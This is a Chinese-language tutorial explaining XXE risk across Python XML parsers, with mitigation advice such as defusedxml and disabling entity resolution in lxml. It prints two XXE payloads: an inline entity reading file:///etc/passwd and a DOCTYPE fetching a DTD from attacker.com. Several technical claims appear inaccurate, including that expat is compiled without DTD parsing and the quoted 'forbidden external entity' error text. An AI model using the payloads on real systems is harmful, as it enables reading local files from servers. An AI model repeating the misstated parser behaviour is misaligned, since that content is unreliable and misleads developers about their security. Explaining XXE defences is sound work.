Python标准库xml.etree.ElementTree和xml.dom.minidom因底层expat库编译时禁用DTD解析，故不支持外部实体加载，报错“DTD not supported”或“forbidden external entity”属固有限制而非主动防御。
Python 默认的 xml.etree.ElementTree 和 xml.dom.minidom 在解析含 DTD 的 XML 时，会拒绝加载外部实体（如 SYSTEM "file:///etc/passwd"），不是因为“主动防御”，而是因为它们**根本没实现 DTD 外部实体解析功能**——这是底层限制，不是安全加固。
为什么标准库报错“DTD not supported”或“forbidden external entity”
Python 标准库的 XML 解析器（基于 expat）默认禁用 DTD 解析，更不支持外部实体扩展。一旦遇到 DOCTYPE 声明中含 SYSTEM 或 PUBLIC 实体，就会直接抛出 xml.etree.ElementTree.ParseError 或类似错误，例如：
xml.etree.ElementTree.ParseError: parsing finished before end of input
或者更明确的提示：
xml.etree.ElementTree.ParseError: forbidden external entity: file:///etc/passwd
这不是你在代码里加了什么防护开关的结果，是 expat 库在编译时就关闭了该能力（出于安全与轻量设计考虑）。
立即学习“Python免费学习笔记（深入）”；
常见触发场景包括：
- XML 文件开头有内联 DTD，比如
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> - XML 引用了外部 DTD 文件，如
<!DOCTYPE foo SYSTEM "http://attacker.com/test.dtd"> - 你用
xml.dom.minidom.parse()加载含 DTD 的文件，但没传入自定义parser控制参数
哪些 Python XML 解析器真会触发 XXE？
真正有风险的是那些**默认启用 DTD 解析且支持外部实体加载**的库，典型代表是 lxml 和旧版 xml.sax 配合不安全配置：
-
lxml.etree.parse()默认允许 DTD 解析，若未显式禁用，SYSTEM实体会被加载（例如读取本地文件） -
xml.sax.make_parser()若使用expat以外的驱动（如某些 Java-Jython 环境），或手动设置setFeature(feature_external_ges, True)，也可能触发 -
defusedxml是专为堵住这些漏洞设计的，它重写了所有主流解析器接口，强制禁用外部实体
所以问题不在“Python 自动化脚本是否安全”，而在于你用的是哪个解析器、是否用了默认配置、有没有显式关掉危险特性。
如何让脚本既解析 DTD 又不被 XXE 利用
如果你的业务确实需要处理带 DTD 的 XML（比如解析遗留系统导出的配置文件），又不能删掉 DTD 声明，必须手动控制解析行为：
- 用
defusedxml.lxml替代原生lxml.etree：它会自动禁用外部实体，同时保留 DTD 内部声明解析能力 - 若坚持用原生
lxml，需显式关闭：parser = lxml.etree.XMLParser(resolve_entities=False, no_network=True) - 对
xml.sax，务必调用parser.setFeature(xml.sax.handler.feature_external_ges, False) - 永远不要用
eval()、exec()或字符串拼接方式构造 XML 内容——这会绕过所有解析器级防护
最常被忽略的一点：很多自动化脚本把 XML 当作“纯数据”读取后，再用正则或字符串操作提取字段。这种绕过解析器的方式，反而可能因未处理实体引用（如 &xxe;）导致逻辑错乱，甚至二次解析时意外触发 XXE。
